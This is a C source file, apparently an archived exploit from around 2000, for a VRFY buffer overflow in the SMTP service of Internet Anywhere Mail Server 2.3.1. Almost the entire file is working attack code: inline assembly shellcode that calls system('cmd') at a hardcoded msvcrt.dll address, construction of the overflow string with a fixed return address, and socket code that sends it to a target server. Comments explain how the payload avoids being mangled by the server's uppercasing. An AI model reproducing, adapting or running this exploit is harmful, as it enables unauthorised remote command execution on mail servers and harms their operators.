// iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/
//
// This exploit code starts the Command Prompt on a remote computer
// running Internet Anywhere Mail Server version 2.3.1, build 10020.
// However, it is very dependent on different DLL versions installed
// on the server computer. This code exploits a vrfy buffer overflow
// in the SMTP part of the mail server.
//

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>

#define sockaddr_in struct sockaddr_in
#define sockaddr struct sockaddr

// Server IP address
char ipaddr[25] = "xxx.xxx.xxx.xxx";
// Server port, the default is 25
unsigned short port = xxxxx;

// Payload machine code size and location
DWORD stop, start, size;
// The overflow string
unsigned char s[251];

// This function contains the payload assembly code and some extra
// code to support dynamic loading of the payload
BOOL createPayload(void)
{
  DWORD point1, point2;

  __asm {
    // First checkpoint for code location
    MOV  point1, $
    JMP  AFTER
    // Exploit payload starts here ->>
    // Set up a new stack frame, but there's no need to push EBP
    // since we'll never return from here
    MOV      EBP, ESP
    // Manipulate the null terminated string "cmd" into ESI
    // and push it onto the stack - we can't just move it into
    // memory with three MOV BYTE PTR's because the machine code
    // they generate will be destroyed when the mail server
    // convert the string to uppercase
    MOV  ESI, 0FF646d63h
    AND  ESI, 0F0FFFFFFh
    AND  ESI, 0FFFFFFFh
    PUSH ESI
    // Manipulate the system() function's entry address into ESI
    // the same way as we did with the "cmd" string and push it
    // onto the stack too - 7801C1A0h only works for version
    // 5.00.7128 of the DLL msvcrt.dll
    MOV  ESI, 7801C1A0h
    MOV  EBX, 20FFFFFFh
    AND  EBX, 0FF0F0F0Fh
    AND  EBX, 0FFF0F0F0h
    OR   ESI, EBX
    AND  ESI, 0FFFFDFFFh
    PUSH ESI
    // Load the address to the "cmd" string into EAX and push it
    // onto the stack for use by system() below
    LEA  EAX, [EBP-04h]
    PUSH EAX
    // Call system() which starts the Command Prompt
    CALL DWORD PTR [EBP-8h]
    // Infinite loop - the server won't crash when the Command
    // Prompt is closed, and it will also continue responding
    // to more clients, though CPU usage will be 100%
  LABEL1:
    JMP  LABEL1
    // <<- Exploit payload ends here
    // Second checkpoint for code location
  AFTER:
    MOV  point2, $
  }
  // Calculate payload size and location
  size = point2 - point1 - 12;
  start = point1 + 12;
  stop = point2;
  // Payload size vs. server buffer size overflow check
  if (size > 75)
    return FALSE;
  else
    return TRUE;
}

// Create the vrfy overflow string
void createOverflow(void)
{
  unsigned char payload[236];
  unsigned char fillout[236];
  unsigned char ret[5];
  unsigned int i;
  unsigned long temp;
  unsigned char *p;

  // Create a string containing the payload
  temp = start;
  for (i=0; i<size; i++)
    {
      p = (unsigned char*) temp;
      payload[i] = *p;
      temp++;
    }
  payload[i] = '\0';
  // Fill out with some 'a' until we hit the function return
  // address on the stack
  i = strlen(payload);
  while (i<235)
    {
      fillout[i-strlen(payload)] = 'a';
      i++;
    }
  fillout[i-strlen(payload)] = '\0';
  // Overwrite the return address to the location of the payload
  // inside the buffer
  ret[0] = 0x45;
  ret[1] = 0xF4;
  ret[2] = 0xF1;
  ret[3] = 0x01;
  ret[4] = 0x00;
  // Put together the whole vrfy overflow string
  strcpy(s, "vrfy xxxxx");
  strcat(s, payload);
  strcat(s, fillout);
  strcat(s, ret);
  strcat(s, "\r\n");
  printf("Created overflow string.\n");
}

// Connect to the server, say hi and then send the overflow string
void sendOverflow(void)
{
  SOCKET socket1;
  WSADATA winSockData;
  sockaddr_in peer;
  int flags;
  int result;
  char buffer[1024];

  // Allocate a socket, connect and stuff...
  WSAStartup(0x0101, &winSockData);
  socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  peer.sin_family = AF_INET;
  peer.sin_port = htons(port);
  peer.sin_addr.s_addr = inet_addr(ipaddr);
  result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
  if (result != 0)
    {
      printf("Couldn't connect to the server!\n");
      closesocket(socket1);
      WSACleanup();
    }
  else
    {
      // Wait for the server to give us the welcome message, this
      // is a bit simplified because we can't expect the whole
      // message in one recv, but it will do in this case
      flags = 0;
      result = recv(socket1, buffer, 1024, flags);
      // Say hi to the server
      flags = 0;
      result = send(socket1, "helo\r\n", strlen("helo\r\n"), flags);
      // Wait for the server to say ok, the same as above goes here
      flags = 0;
      result = recv(socket1, buffer, 1024, flags);
      // Send the overflow string to the server
      flags = 0;
      result = send(socket1, s, strlen(s), flags);
      if (result != SOCKET_ERROR)
        printf("Overflow sent to the server.\n");
      // Wait a couple of seconds
      Sleep(2000);
      // Clean up
      closesocket(socket1);
      WSACleanup();
    }
}

// Guess what this is :o)
int main(void)
{
  DWORD temp;
  unsigned char *p;

  printf("\niamexploit.c - by Arne Vidstrom -
         http://www.bahnhof.se/~winnt/\n\n");
  // Generate payload machine code and check size
  if (!createPayload())
    {
      printf("ERROR: The payload machine code generated will not fit in the
             buffer!\n");
      return 1;
    }
  else
    printf("%ld bytes of payload machine code generated.\n", size);
  // Check for null characters in the payload
  for (temp=start; temp<stop; temp++)
    {
      p = (unsigned char*) temp;
      if (*p == 0)
        {
          printf("ERROR: The payload machine code generated contains the null
                 character!\n");
          return 1;
        }
    }
  printf("Payload ok.\n");
  // Create the overflow string
  createOverflow();
  // Send the overflow string to the server
  sendOverflow();
  printf("Over and out!\n\n");
  return 0;
}
/*                    www.hack.co.za              [2000]*/